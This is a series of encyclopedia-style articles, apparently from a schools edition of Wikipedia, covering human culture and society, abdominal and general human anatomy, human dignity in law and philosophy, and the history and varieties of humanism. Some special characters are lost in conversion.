          Humanism is a philosophy which defines a socio-political doctrine the bounds of which are not constrained by those of locally developed cultures, but which seeks to include all of humanity and all issues common to human beings. Because spiritual beliefs of a community often manifests as religious doctrine, the history of which is as factious as it is unitive, secular humanism grew as an answer to the need for a common philosophy that transcended the cultural boundaries of local moral codes and religions. Many humanists are religious, however, and see humanism as simply a mature expression of a common truth present in most religions. Humanists affirm the possibility of an objective truth and accept that human perception of that truth is imperfect. The most basic tenets of humanism are that humans matter and can solve human problems, and that science, freedom of speech, rational thought, democracy, and freedom in the arts are worthy pursuits or goals for all peoples. Humanism depends chiefly on reason and logic without consideration for the supernatural.
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          Art, music, and literature


          Artistic works have existed for almost as long as humankind, from early pre-historic art to contemporary art. Art is one of the most unusual aspects of human behaviour and a key distinguishing feature of humans from other species. Art has only been around for the last 35,000 years which could suggest that this was the time when humans started to ' think'.
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          As a form of cultural expression by humans, art may be defined by the pursuit of diversity and the usage of narratives of liberation and exploration (i.e. art history, art criticism, and art theory) to mediate its boundaries. This distinction may be applied to objects or performances, current or historical, and its prestige extends to those who made, found, exhibit, or own them. In the modern use of the word, art is commonly understood to be the process or result of making material works which, from concept to creation, adhere to the "creative impulse" of human beings. Art is distinguished from other works by being in large part unprompted by necessity, by biological drive, or by any undisciplined pursuit of recreation.


          Music is a natural intuitive phenomenon based on the three distinct and interrelated organization structures of rhythm, harmony, and melody. Listening to music is perhaps the most common and universal form of entertainment for humans, while learning and understanding it are popular disciplines. There are a wide variety of music genres and ethnic musics. Literature, the body of written  and possibly oral  works, especially creative ones, includes prose, poetry and drama, both fiction and non-fiction. Literature includes such genres as epic, legend, myth, ballad, and folklore.
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          Science and technology


          Science is the discovery of knowledge about the world by verifiable means. Technology is the objects humans make to serve their purposes. Human cultures are both characterized and differentiated by the objects that they make and use. Archaeology attempts to tell the story of past or lost cultures in part by close examination of the artifacts they produced. Early humans left stone tools, pottery and jewelry that are particular to various regions and times. Improvements in technology are passed from one culture to another. For instance, the cultivation of crops arose in several different locations, but quickly spread to be an almost ubiquitous feature of human life. Similarly, advances in weapons, architecture and metallurgy are quickly disseminated.


          
            [image: Space science provides a new perspective on human significance]

            
              Space science provides a new perspective on human significance
            

          


          Although such techniques can be passed on by oral tradition, the development of writing, itself a kind of technology, made it possible to pass information from generation to generation and from region to region with greater accuracy. Together, these developments made possible the commencement of civilization and urbanization, with their inherently complex social arrangements. Eventually this led to the institutionalization of the development of new technology, and the associated understanding of the way the world functions. This science now forms a central part of human culture. In recent times, physics and astrophysics have come to play a central role in shaping what is now known as physical cosmology, that is, the understanding of the universe through scientific observation and experiment. This discipline, which focuses on the universe as it exists on the largest scales and at the earliest times, begins by arguing for the big bang, a sort of cosmic expansion from which the universe itself is said to have erupted ~13.7  0.2 billion (109) years ago. After its violent beginnings and until its very end, scientists then propose that the entire history of the universe has been an orderly progression governed by physical laws.


          


          Race and ethnicity


          Humans often categorize themselves in terms of race or ethnicity, although the validity of human races as true biological categories is questionable. Human racial categories are based on both ancestry and visible traits, especially skin colour and facial features. These categories may also carry some information on non-visible biological traits, such as the risk of developing particular diseases such as sickle-cell disease. Currently available genetic and archaeological evidence is generally interpreted as supportive of a recent single origin of modern humans in East Africa. Current genetic studies have demonstrated that humans on the African continent are most genetically diverse. However, compared to many other animals, human gene sequences are remarkably homogeneous. It has been repeatedly demonstrated that the great majority of genetic variation occurs within "racial groups", with only 5 to 15% of total variation occurring between racial groups. However, this remains an area of active debate. Ethnic groups, on the other hand, are more often linked by linguistic, cultural, ancestral, and national or regional ties. Self-identification with an ethnic group is based on kinship and descent. Race and ethnicity can lead to variant treatment and impact social identity, giving rise to racism and the theory of identity politics.


          


          Society, government, and politics
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              The United Nations complex in New York City, which houses one of the largest human political organizations in the world.
            

          


          Society is the system of organizations and institutions arising from interaction between humans. A state is an organized political community occupying a definite territory, having an organized government, and possessing internal and external sovereignty. Recognition of the state's claim to independence by other states, enabling it to enter into international agreements, is often important to the establishment of its statehood. The "state" can also be defined in terms of domestic conditions, specifically, as conceptualized by Max Weber, "a state is a human community that (successfully) claims the monopoly of the 'legitimate' use of physical force within a given territory."


          Government can be defined as the political means of creating and enforcing laws; typically via a bureaucratic hierarchy. Politics is the process by which decisions are made within groups. Although the term is generally applied to behaviour within governments, politics is also observed in all human group interactions, including corporate, academic, and religious institutions. Many different political systems exist, as do many different ways of understanding them, and many definitions overlap. The most common form of government worldwide is a republic, however other examples include monarchy, social democracy, military dictatorship and theocracy. All of these issues have a direct relationship with economics.
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              The atomic bombings of Hiroshima and Nagasaki immediately killed over 120,000 humans.
            

          


          


          War


          War is a state of widespread conflict between states, organizations, or relatively large groups of people, which is characterized by the use of lethal violence between combatants or upon civilians. It is estimated that during the 20th century between 167 and 188 million humans died as a result of war. A common perception of war is a series of military campaigns between at least two opposing sides involving a dispute over sovereignty, territory, resources, religion or other issues. A war said to liberate an occupied country is sometimes characterized as a " war of liberation", while a war between internal elements of a state is a civil war. Full scale pitched-battle wars between adversaries of comparable strength appear to have nearly disappeared from human activity, with the last major one in the Congo region winding down in the late 1990s. Nearly all war now is asymmetric warfare, in which campaigns of sabotage, guerrilla warfare and sometimes acts of terrorism disrupt control and supply of better-equipped occupying forces, resulting in long low-intensity wars of attrition.


          War is one of the main catalysts for human advances in technology. Throughout human history there has been a constant struggle between defense and offence, including the technologies behind armour and weapons designed to penetrate it. Modern examples include the bunker buster bomb and the bunkers which they are designed to destroy. Important inventions such as medicine, navigation, metallurgy, mass production, nuclear power, rocketry and computers have been completely or partially driven by war.


          There have been a wide variety of rapidly advancing tactics throughout the history of war, ranging from conventional war to asymmetric warfare to total war and unconventional warfare. Techniques include hand to hand combat, the use of ranged weapons, and ethnic cleansing. Military intelligence has often played a key role in determining victory and defeat. Propaganda, which often includes factual information, slanted opinion and disinformation, plays a key role in maintaining unity within a warring group, and/or sowing discord among opponents. In modern warfare, soldiers and armoured fighting vehicles are used to control the land, warships the sea, and air power the sky. These fields have also overlapped in the forms of marines, paratroopers, naval aircraft carriers, and surface-to-air missiles, among others. Satellites in low Earth orbit have made outer space a factor in warfare as well, although no actual warfare is currently carried out in space.


          


          Trade and economics
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              Buyers and sellers bargain in Chichicastenango Market, Guatemala.
            

          


          Trade is the voluntary exchange of goods, services and a form of economics. A mechanism that allows trade is called a market. The original form of trade was barter, the direct exchange of goods and services. Modern traders instead generally negotiate through a medium of exchange, such as money. As a result, buying can be separated from selling, or earning. The invention of money (and later credit, paper money and non-physical money) greatly simplified and promoted trade. Because of specialization and division of labor, most people concentrate on a small aspect of manufacturing or service, trading their labour for products. Trade exists between regions because different regions have an absolute or comparative advantage in the production of some tradeable commodity, or because different regions' size allows for the benefits of mass production.


          Economics is a social science which studies the production, distribution, trade and consumption of goods and services. Economics focuses on measurable variables, and is broadly divided into two main branches: microeconomics, which deals with individual agents, such as households and businesses, and macroeconomics, which considers the economy as a whole, in which case it considers aggregate supply and demand for money, capital and commodities. Aspects receiving particular attention in economics are resource allocation, production, distribution, trade, and competition. Economic logic is increasingly applied to any problem that involves choice under scarcity or determining economic value. Mainstream economics focuses on how prices reflect supply and demand, and uses equations to predict consequences of decisions.
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        Human abdomen
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              The human rectus abdominis muscle of the human abdomen
            

          


          The human abdomen (from the Latin word meaning "belly") is the part of the body between the pelvis and the thorax. Anatomically, the abdomen stretches from the thorax at the thoracic diaphragm to the pelvis at the pelvic brim. The pelvic brim stretches from the lumbosacral angle (the intervertebral disk between L5 and S1) to the pubic symphysis and is the edge of the pelvic inlet. The space above this inlet and under the thoracic diaphragm is termed the abdominal cavity. The boundary of the abdominal cavity is the abdominal wall in the front and the peritoneal surface at the rear.


          Functionally, the human abdomen is where most of the alimentary tract is placed and so most of the absorption and digestion of food occurs here. The alimentary tract in the abdomen consists of the lower esophagus, the stomach, the duodenum, the jejunum, ileum, the cecum and the appendix, the ascending, transverse and descending colons, the sigmoid colon and the rectum. Other vital organs inside the abdomen include the liver, the kidneys, the pancreas and the spleen.


          The abdominal wall is split into the posterior (back), lateral (sides) and anterior (front) walls.


          


          Muscles of the abdominal wall
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              Henry Gray (18251861). Anatomy of the Human Body.
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              	Muscle

              	Origin and insertion
            


            
              	The obliquus externus ( external oblique) muscle is the outermost muscle covering the side of the abdomen. It is broad, flat, and irregularly quadrilateral.

              	It originates on the lower eight ribs, and then curves down and forward towards its insertion on the outer anterior crest of the ilium and (via the sheath of the rectus abdominis muscle) the midline linea alba.
            


            
              	The obliquus internus ( internal oblique) muscle is triangularly shaped and is smaller and thinner than the external oblique muscle that overlies it.

              	It originates from Poupart's ligament/ inguinal ligament and the inner anterior crest of the ilium. The lower two-thirds of it insert, in common with fibers of the external oblique and the underlying transversus abdominis, into the linea alba. The upper third inserts into the lower six ribs.
            


            
              	The transversus abdominis muscle is flat and triangular, with its fibers running horizontally. It lies between the internal oblique and the underlying transversalis fascia.

              	It originates from Poupart's ligament, the inner lip of the ilium, the lumbar fascia and the inner surface of the cartilages of the six lower ribs. It inserts into the linea alba behind the rectus abdominis.
            


            
              	The rectus abdominis muscles are long and flat. The muscle is crossed by three tendinous intersections called the linae transversae. The rectus abdominis is enclosed in a thick sheath formed, as described above, by fibers from each of the three muscles of the lateral abdominal wall.

              	They originate at the pubic bone, run up the abdomen on either side of the linea alba, and insert into the cartilages of the fifth, sixth, and seventh ribs.
            


            
              	The pyramidalis muscle is small and triangular. It is located in the lower abdomen in front of the rectus abdominis.

              	It originates at the pubic bone and is inserted into the linea alba half way up to the umbilicus.
            

          


          


          Abdominal organs
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              The relations of the viscera and large vessels of the abdomen, seen from behind.
            

          


          The abdomen contains most of the tubelike organs of the digestive tract, as well as several solid organs. Hollow abdominal organs include the stomach, the small intestine, and the colon with its attached appendix. Organs such as the liver, its attached gallbladder, and the pancreas function in close association with the digestive tract and communicate with it via ducts. The spleen, kidneys, and adrenal glands also lie within the abdomen, along with many blood vessels including the aorta and inferior vena cava. Anatomists may consider the urinary bladder, uterus, fallopian tubes, and ovaries as either abdominal organs or as pelvic organs. Finally, the abdomen contains an extensive membrane called the peritoneum. A fold of peritoneum may completely cover certain organs, whereas it may cover only one side of organs that usually lie closer to the abdominal wall. Anatomists call the latter type of organs retroperitoneal.


          


          Surface landmarks of the anterior abdomen


          In the mid-line a slight furrow extends from the ensiform cartilage/ xiphoid process above to the symphysis pubis below, representing the linea alba in the abdominal wall. At about its midpoint sits the umbilicus or navel. On each side of it the broad recti muscles stand out in muscular people. The outline of these muscles is interrupted by three or more transverse depressions indicating the lineae transversae. There is usually one about the ensiform cartilage, one at the umbilicus, and one between. It is the combination of the linea alba and the linea transversae which form the abdominal "six-pack" sought after by many people. A body fat of around 10% or below is required to see them.


          The upper lateral limit of the abdomen is the subcostal margin formed by the cartilages of the false ribs (8, 9, 10) joining one another. The lower lateral limit is the anterior crest of the ilium and Poupart's ligament, which runs from the anterior superior spine of the ilium to the spine of the pubis. These lower limits are marked by visible grooves. Just above the pubic spines on either side are the external abdominal rings, which are openings in the muscular wall of the abdomen through which the spermatic cord emerges in the male, and through which an inguinal hernia may rupture.


          One method by which the location of the abdominal contents can be appreciated is to draw three horizontal and two vertical lines.


          


          Horizontal lines
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              Front of abdomen, showing surface markings for duodenum, pancreas, and kidneys.
            

          


          
            	The highest of the former is the transpyloric line of C. Addison, which is situated half-way between the suprasternal notch and the top of the symphysis pubis, and often cuts the pyloric opening of the stomach an inch to the right of the mid-line. The hilum of each kidney is a little below it, while its left end approximately touches the lower limit of the spleen. It corresponds to the first lumbar vertebra behind.

          


          
            	The second line is the subcostal line, drawn from the lowest point of the subcostal arch ( tenth rib). It corresponds to the upper part of the third lumbar vertebra, and it is an inch or so above the umbilicus. It indicates roughly the transverse colon, the lower ends of the kidneys, and the upper limit of the transverse (3rd) part of the duodenum.

          


          
            	The third line is called the intertubercular line, and runs across between the two rough tubercles, which can be felt on the outer lip of the crest of the ilium about two and a half inches (60 mm) from the anterior superior spine. This line corresponds to the body of the fifth lumbar vertebra, and passes through or just above the ileo-caecal valve, where the small intestine joins the large.

          


          


          Vertical lines


          The two vertical or mid-Poupart lines are drawn from the point midway between the anterior superior spine and the pubic symphysis on each side, vertically upward to the costal margin.


          
            	The right one is the most valuable, as the ileo-caecal valve is situated where it cuts the intertubercular line. The orifice of the vermiform appendix lies an inch lower, at McBurney's point. In its upper part, the vertical line meets the transpyloric line at the lower margin of the ribs, usually the ninth, and here the gallbladder is situated.

          


          
            	The left mid-Poupart line corresponds in its upper three-quarters to the inner edge of the descending colon.

          


          The right subcostal margin corresponds to the lower limit of the liver, while the right nipple is about half an inch above the upper limit of this viscus.


          


          Regions of the abdomen


          [bookmark: 9-region_scheme]


          9-region scheme


          
            [image: Surface lines of the front of the thorax and abdomen.]

            
              Surface lines of the front of the thorax and abdomen.
            

          


          These three horizontal and two vertical lines divide the abdomen into nine "regions." (Note that "hypo" means "below" and "epi" means "above", while "chond" means "cartilage" (in this case, the cartilage of the rib) and "gast" means stomach. The reversal of "left" and "right" is intentional, because the anatomical designations reflect the position on the patient. )


          
            
              	right hypochondriac/ hypochondrium

              	epigastric/ epigastrium

              	left hypochondriac/hypochondrium
            


            
              	right lumbar/ flank/ latus/lateral

              	umbilical

              	left lumbar/flank/lateral
            


            
              	right inguinal/ iliac

              	hypogastric/ pubic

              	left inguinal/iliac
            

          


          [bookmark: 4-region_scheme]


          4-region scheme


          Another way of dividing the abdomen is by using 4 quadrants:


          
            
              	right upper quadrant (RUQ)

              	left upper quadrant (LUQ)
            


            
              	right lower quadrant (RLQ)

              	left lower quadrant (LLQ)
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        Human anatomy
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              List of bones of the human skeleton
            

          


          Human anatomy is primarily the scientific study of the morphology of the adult human body. Anatomy is subdivided into gross anatomy and microscopic anatomy. Gross anatomy (also called topographical anatomy, regional anatomy, or anthropotomy) is the study of anatomical structures that can be seen by unaided vision. Microscopic anatomy is the study of minute anatomical structures assisted with microscopes, which includes histology (the study of the organization of tissues), and cytology (the study of cells). Anatomy, physiology (the study of function) and biochemistry (the study of the chemistry of living structures) are complementary basic medical sciences which are usually taught together (or in tandem).


          In some of its facets human anatomy is closely related to embryology, comparative anatomy and comparative embryology, through common roots in evolution; for example, much of the human body maintains the ancient segmental pattern that is present in all vertebrates with basic units being repeated, which is particularly obvious in the vertebral column and in the ribcage, and can be traced from very early embryos.


          The human body consists of biological systems, that consist of organs, that consist of tissues, that consist of cells and connective tissue.


          The history of anatomy has been characterized, over time, by a continually developing understanding of the functions of organs and structures in the body. Methods have also advanced dramatically, advancing from examination of animals through dissection of preserved cadavers (dead human bodies) to technologically complex techniques developed in the 20th century.


          


          Study
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              A full articulated human skeleton used in education
            

          


          Generally, medical students, dentists, physiotherapists, nurses, paramedics, radiographers, artists, and students of certain biological sciences, learn gross anatomy and microscopic anatomy from anatomical models, skeletons, textbooks, diagrams, photographs, lectures, and tutorials. The study of microscopic anatomy (or histology) can be aided by practical experience examining histological preparations (or slides) under a microscope; and in addition, medical and dental students generally also learn anatomy with practical experience of dissection and inspection of cadavers (dead human bodies). A thorough working knowledge of anatomy is required by all medical doctors, especially surgeons, and doctors working in some diagnostic specialities, such as histopathology and radiology.


          Human anatomy, physiology and, biochemistry are complementary basic medical sciences, which are generally taught to medical students in their first year at medical school. Human anatomy can be taught regionally or systemically; that is, respectively, studying anatomy by bodily regions such as the head and chest, or studying by specific systems, such as the nervous or respiratory systems. The major anatomy textbook, Gray's Anatomy, has recently been reorganized from a systems format to a regional format, in line with modern teaching methods.


          


          Regional groups


          
            	Head and neck  includes everything above the thoracic inlet


            	Upper limb  includes the hand, wrist, forearm, elbow, arm, and shoulder.


            	Thorax  the region of the chest from the thoracic inlet to the thoracic diaphragm.


            	Human abdomen to the pelvic brim or to the pelvic inlet.


            	The back  the spine and its components, the vertebrae, sacrum, coccyx, and intervertebral disks .


            	Pelvis and Perineum  the pelvis consists of everything from the pelvic inlet to the pelvic diaphragm. The perineum is the region between the sex organs and the anus.


            	Lower limb  everything below the inguinal ligament, including the hip, the thigh, the knee, the leg, the ankle, and the foot.

          


          


          Major organ systems


          
            	Circulatory system: pumping and channeling blood to and from the body and lungs with heart, blood, and blood vessels.


            	Digestive system: digestion and processing food with salivary glands, esophagus, stomach, liver, gallbladder, pancreas, intestines, rectum, and anus.


            	Endocrine system: communication within the body using hormones made by endocrine glands such as the hypothalamus, pituitary or pituitary gland, pineal body or pineal gland, thyroid, parathyroids, and adrenals or adrenal glands


            	Immune system: protecting against disease by identifying and killing pathogens and tumor cells.


            	Integumentary system: skin, hair and nails


            	Lymphatic system: structures involved in the transfer of lymph between tissues and the blood stream, the lymph and the nodes and vessels that transport it including the Immune system: defending against disease-causing agents with leukocytes, tonsils, adenoids, thymus, and spleen


            	Activity system: movement with muscles and human skeleton (structural support and protection with bones, cartilage, ligaments, and tendons).


            	Nervous system: collecting, transferring and processing information with brain, spinal cord, peripheral nerves, and nerves


            	Reproductive system: the sex organs, such as ovaries, fallopian tubes, uterus, vagina, mammary glands, testes, vas deferens, seminal vesicles, prostate, and penis.


            	Respiratory system: the organs used for breathing, the pharynx, larynx, trachea, bronchi, lungs, and diaphragm.


            	Urinary system: kidneys, ureters, bladder and urethra involved in fluid balance, electrolyte balance and excretion of urine.

          


          


          Superficial anatomy


          Superficial anatomy or surface anatomy is important in human anatomy being the study of anatomical landmarks that can be readily identified from the contours or other reference points on the surface of the body. With knowledge of superficial anatomy, physicians gauge the position and anatomy of the associated deeper structures.


          Common names of well known parts of the human body, from top to bottom:


          
            	Head Forehead Jaw Face Cheek Chin


            	Neck Shoulders


            	Arm Elbow Wrist Hand Fingers Thumb


            	Spine Chest Ribcage


            	Abdomen Groin


            	Hip Buttocks Leg Thigh Knee Calf Heel Ankle Foot Toes


            	The eye, ear, nose, mouth, teeth, tongue, throat, adam's apple, breast, penis, scrotum, clitoris, vulva, navel are visible too.

          


          


          Internal organs


          Common names of internal organs (in alphabetical order):


          Adrenals Appendix Bladder Brain Eyes Gall bladder Heart Intestines Kidney Liver Lungs Esophagus Ovaries Pancreas Parathyroids Pituitary Prostate Spleen Stomach Testicles Thymus Thyroid Uterus Veins


          


          Brain


          Amygdala Brain stem Cerebellum Cerebral cortex Limbic system medulla midbrain pons
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        Human dignity


        
          

          Human dignity refers to a state of righteousness, integrity, or virtue in human beings. The term dignity is defined as "the state of being worthy of honour or respect" .


          


          In human rights


          When this concept is associated with the adjective "human", it is used to signify that all human beings possess intrinsic worthiness and deserve unconditional respect, regardless of age, sex, health status, social or ethnic origin, political ideas, religion, or criminal history. If violated, this can be considered discrimination. In other words, this respect is owed to every individual by the mere fact that he or she is a "member of the human family" (Universal Declaration of Human Rights, 1948, Preamble). This intrinsic worthiness is widely recognized by international law as the source of all human rights. In this respect, both the International Covenant on Civil and Political Rights (ICCPR) and the International Covenant on Economic, Social and Cultural Rights (ICESCR) of 1966 affirm that human rights derive from the inherent dignity of the human person.


          


          In philosophy


          At the philosophical level, following Kant, the expression human dignity is used to indicate that persons should always be treated as ends in themselves and never merely as means. Kant presents dignity as exactly the opposite of price: while price is the kind of value for which there can be an equivalent (roughly economic value), dignity makes a person irreplaceable. Therefore, dignity can be explained as a requirement of non- instrumentalization of persons.


          The idea is in some ways controversial, mainly in regard to the question of whether it also applies to human embryos or non-human beings and if not, why. Utilitarian philosophers see a conflict with their principle of equal consideration of interests, and sometimes the idea is criticised as an example of speciesism.


          


          German Constitution


          Human dignity features as the most fundamental principle of the German constitution. Article 1, paragraph 1 reads: "Human dignity is inviolable. To respect and to protect it is the duty of all state authority." Human dignity is thus mentioned even before the right to life. This has a significant impact on German law-making and jurisdiction in both serious and trivial items:


          
            	It is the base of  131 StGB, which outlaws representation of violence in certain cases and was the grounds for the confiscation of many horror movies and some video games like Manhunt or the Mortal Kombat series.


            	 14 (3) of the Luftsicherheitsgesetz, which would have allowed the Bundeswehr to shoot down airliners if they are used as weapons by terrorists, was declared unconstitutional mainly on the grounds of human dignity: killing a small number of innocent people to save a large number cannot be legalized since it treats dignity as if it was a measurable and limited quantity.


            	A Benetton advertisement showing human buttocks with an "H.I.V. positive" stamp was declared in violation of human dignity by some courts, but in the end found legal.


            	The first German law legalizing abortion in 1975 was declared unconstitutional because the court held that embryos had human dignity, too. In the new law on abortion that was developed in the 1990s, this has been recognized in that early-term abortions are still not legal, the state merely declines to administer the due punishment.


            	In a decision from 1981- 12-15, the Bundesverwaltungsgericht declared that peep shows violated the human dignity of the performer, regardless of her personal feelings. The decision was later revised, but shows where the performer cannot herself see the persons who are watching her remain outlawed on grounds of dignity.

          


          Human dignity is a way of respect in the for of privacy between each person.
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          Humanism is a broad category of ethical philosophies that affirm the dignity and worth of all people, based on the ability to determine right and wrong by appeal to universal human qualitiesparticularly rationalism. Humanism is a component of a variety of more specific philosophical systems, and is incorporated into several religious schools of thought. Humanism entails a commitment to the search for truth and morality through human means in support of human interests. In focusing on the capacity for self-determination, humanism rejects the validity of transcendental justifications, such as a dependence on faith, the supernatural, or divinely revealed texts. Humanists endorse universal morality based on the commonality of the human condition, suggesting that solutions to human social and cultural problems cannot be parochial.


          


          Aspects


          


          Religion


          Humanism clearly rejects deference to supernatural beliefs in resolving human affairs but not necessarily the beliefs themselves; indeed some strains of humanism are compatible with some religions. It is generally compatible with atheism and agnosticism but doesn't require either of these. Agnosticism or atheism on their own do not necessarily entail humanism; many different and incompatible philosophies are atheistic in nature, and there is no one ideology or set of behaviors to which all atheists adhere.


          As humanism encompasses intellectual currents running through a wide variety of philosophical and religious thought, several strains of humanism allow it to fulfill, supplement or supplant the role of religions, and in particular to be embraced as a complete life stance. For more on this, see Humanism (life stance). In a number of countries, rights given by laws to 'religions', have required a secular life stance to become legally recognized as a 'religion'.


          Renaissance humanism, and its emphasis on returning to the sources, contributed to the Protestant reformation by helping to gain what they believe was a more accurate translation of Biblical texts.


          


          Knowledge


          According to humanism, it is up to humans to find the truth, as opposed to seeking it through revelation, mysticism, tradition, or anything else that is incompatible with the application of logic to the evidence. In demanding that humans avoid blindly accepting unsupported beliefs, it supports scientific skepticism and the scientific method, rejecting authoritarianism and extreme skepticism, and rendering faith an unacceptable basis for action. Likewise, humanism asserts that knowledge of right and wrong is based on one's best understanding of one's individual and joint interests, rather than stemming from a transcendental truth or an arbitrarily local source.


          


          Speciesism


          Some have interpreted humanism to be a form of speciesism (regarding one species as being more important than another). The philosopher Peter Singer argues that many humanist's views on the moral interaction of people with other animals remain rooted in the Abrahamic religions' assertion that man has dominion over the animals. Thus he feels that humanists tend to be less supportive of the animal rights movement than they should be, in sharp contrast to their full support of human rights issues.,


          


          Optimism


          Humanism features an optimistic attitude about the capacity of people, but it does not involve believing that human nature is purely good or that each and every person is capable of living up to the humanist ideals of rationality and morality. If anything, there is the recognition that living up to one's potential is hard work and requires the help of others. The ultimate goal is human flourishing; making life better for all humans. Even among humanists who do believe in some sort of an afterlife, the focus is on doing good and living well in the here and now, and leaving the world better for those who come after, not on suffering through life to be rewarded afterward.


          


          History


          Contemporary humanism can be traced back through the Renaissance to its ancient Greek roots. Though humanism can also be traced back to the Warring Era of Confucious's time (551-479 B.C.E.), it is the Western philosophers that are more widely known.


          The term "humanism" is an early 19th century coinage, based on the 15th century Italian term umanista, which was used to designate a teacher or student of classic literature. The evolution of the meaning of the word humanism is fully explored in Nicolas Walter Humanism  What's in the Word.


          


          Greek roots


          Sixth century B.C.E. pantheists Thales of Miletus and Xenophanes of Colophon prepared the way for later Greek humanist thought. Thales is credited with creating the maxim "Know thyself", and Xenophanes refused to recognize the gods of his time and reserved the divine for the principle of unity in the universe. Later Anaxagoras, often described as the "first freethinker", contributed to the development of science as a method of understanding the universe. Pericles, a pupil of Anaxagoras, influenced the development of democracy, freedom of thought, and the exposure of superstitions. Although little of their work survives, Protagoras and Democritus both espoused agnosticism and a spiritual morality not based on the supernatural. The historian Thucydides is noted for his scientific and rational approach to history.


          


          Middle Ages


          Applying the definition of humanism as a re-discovery of classic texts, there were two movements in the Middle Ages that saw this happen, the Carolingian Renaissance of the 9th century and the Renaissance of the 12th century.


          


          Renaissance


          Renaissance humanism was a broad movement that affected the social, cultural, literary and political landscape of Europe. Beginning in Florence in the last decades of the 14th century, Renaissance humanism revived the study of Latin and Greek, with the resultant revival of the study of science, philosophy, art and poetry of classical antiquity. The revival was based on interpretations of Roman and Greek texts, whose emphasis upon art and the senses marked a great change from the contemplation on the Biblical values of humility, introspection, and meekness. Beauty was held to represent a deep inner virtue and value, and an essential element in the path towards God.


          The crisis of Renaissance humanism came with the trial of Galileo, which forced the choice between basing the authority of one's beliefs on one's observations, or upon religious teaching. The trial made the contradictions between humanism and traditional religion visibly apparent to all, and humanism was branded a "dangerous doctrine."


          Renaissance humanists believed that the liberal arts (music, art, grammar, rhetoric, oratory, history, poetry, using classical texts, and the studies of all of the above) should be practiced by all levels of wealth. They also approved of self, human worth and individual dignity.


          Noteworthy humanists scholars from this period include the Dutch theologist Erasmus, the English author Thomas More, the French writer Francois Rabelais, the Italian poet Francesco Petrarch and the Italian scholar Giovanni Pico della Mirandola.


          


          Modern era


          One of the earliest forerunners of contemporary chartered humanist organizations was the Humanistic Religious Association formed in 1853 in London. This early group was democratically organized, with male and female members participating in the election of the leadership and promoted knowledge of the sciences, philosophy, and the arts.


          Active in the early 1920s, F.C.S. Schiller considered his work to be tied to the humanist movement. Schiller himself was influenced by the pragmatism of William James. In 1929 Charles Francis Potter founded the First Humanist Society of New York whose advisory board included Julian Huxley, John Dewey, Albert Einstein and Thomas Mann. Potter was a minister from the Unitarian tradition and in 1930 he and his wife, Clara Cook Potter, published Humanism: A New Religion. Throughout the 1930s Potter was a well-known advocate of womens rights, access to birth control, "civil divorce laws", and an end to capital punishment.


          Raymond B. Bragg, the associate editor of The New Humanist, sought to consolidate the input of L. M. Birkhead, Charles Francis Potter, and several members of the Western Unitarian Conference. Bragg asked Roy Wood Sellars to draft a document based on this information which resulted in the publication of the Humanist Manifesto in 1933. The Manifesto and Potter's book became the cornerstones of modern humanism. Both of these sources envision humanism as a religion.


          In 1941 the American Humanist Association was organized. Noted members of The AHA include Isaac Asimov, who was the president before his death, and writer Kurt Vonnegut, who followed as honorary president until his death in 2007.


          


          Modern humanist philosophies


          There are many people who consider themselves humanists, and much variety in the exact type of humanism to which they subscribe. There is some disagreement over terminology and definitions, with some people using narrower or broader interpretations. Not all people who call themselves humanists hold beliefs that are genuinely humanistic, and not all people who do hold humanistic beliefs apply the label of humanism to themselves.


          All of this aside, humanism can be divided into secular and religious types.


          


          Secular humanism


          Secular humanism is the branch of humanism that rejects theistic religious belief, and the existence of the supernatural. It is often associated with scientists and academics, though it is not at all limited to these groups. Secular humanists generally believe that following humanist principles leads to secularism, on the basis that supernatural beliefs cannot be supported using human-centered rational arguments and therefore all traditionally religiously associated activity must be rejected.


          When people speak of humanism in general, they are usually referring to secular humanism, as a default meaning. Some of the secular humanists take this even further by denying that religious humanists qualify as genuine humanists. Others feel that the ethical side of humanism transcends the issue of religion, because being a good person is more important than rejecting supernatural beliefs.


          Some secular humanists prefer the term Humanist (capital 'H', and no adjective), as unanimously endorsed by General Assembly of the International Humanist and Ethical Union following universal endorsement of the Amsterdam Declaration 2002.


          


          Religious humanism


          Religious humanism is the branch of humanism that considers itself religious (based on a functional definition of religion), or embraces some form of theism, deism, or supernaturalism, without necessarily being allied with organized religion; if allied, in the US it is often with Unitarian Universalism, frequently associated with artists, liberal Christians, and scholars in the liberal arts. Also subscribers to a religion who do not hold such a necessary source for their moral values, may be considered religious humanists. The central position of human beings in humanist philosophy goes with a humane morality; the latter alone does not constitute humanism. A humanitarian who derives morality from religious grounds does not make a religious humanist.


          A number of religious humanists feel that secular humanism is too coldly logical and rejects the full emotional experience that makes humans human. From this comes the notion that secular humanism is inadequate in meeting the human need for a socially fulfilling philosophy of life. Disagreements over things of this nature have resulted in friction between secular and religious humanists, despite their similarities.


          


          Other forms of humanism


          Humanism is also sometimes used to describe "humanities" scholars, (particularly scholars of the Greco-Roman classics). As mentioned above, it is sometimes used to mean humanitarianism. There is also a school of humanistic psychology, and an educational method.


          


          Educational humanism


          Humanism, as a current in education, began to dominate school systems in the 17th century. It held that the studies that develop human intellect are those that make humans "most truly human". The practical basis for this was faculty psychology, or the belief in distinct intellectual faculties, such as the analytical, the mathematical, the linguistic, etc. Strengthening one faculty was believed to benefit other faculties as well (transfer of training). A key player in the late 19th-century educational humanism was U.S. Commissioner of Education W.T. Harris, whose "Five Windows of the Soul" (mathematics, geography, history, grammar, and literature/art) were believed especially appropriate for "development of the faculties". Educational humanists believe that "the best studies, for the best kids" are "the best studies" for all kids. While humanism as an educational current was largely discredited by the innovations of the early 20th century, it still holds out, in some elite preparatory schools and some high school disciplines (especially, in literature).


          


          Liberal Humanism


          In modern western societies social practices, such as politics and economics are shaped by humanist ideas. There are many humanist strands such as scientific and religious thinking, but the most dominant form of humanism is liberal humanism. Liberal humanists state that the individual right needs to be protected and society should provide for the differences between people as long as ones individual actions do not result in harm to another. An example of this is when a country is forced to vote on a political or social matter and the voice of the majority is heard. In the liberalist view, each individual has their single individual nature as well as a shared human nature. The centre and essentially the hero of liberal humanism is man and a commitment to man, whose essence is freedom. When researching liberal humanism, it can be found that the subject is not only free but is unconstrained by history, meaning or action. This in turn guarantees freedom of choice, particularly when studying the political system. The following are some of the many beliefs of liberal humanism:



          
            	Absolute Truth


            	The world is controllable


            	Purpose = humanist enhancement of life


            	Human-ness is in the work, not the author


            	Literature is timeless and constant in human nature


            	Everyone is individual regardless of environmental influences


            	Form and content are fused


          


          Barry best sums up liberal humanism in his text Beginning Theory: An Introduction to Literary and cultural theory as:


          Politics is pervasive,
 Language is constitutive,

          Truth is provisional,

          Meaning is contingent,

          Human nature is a myth.
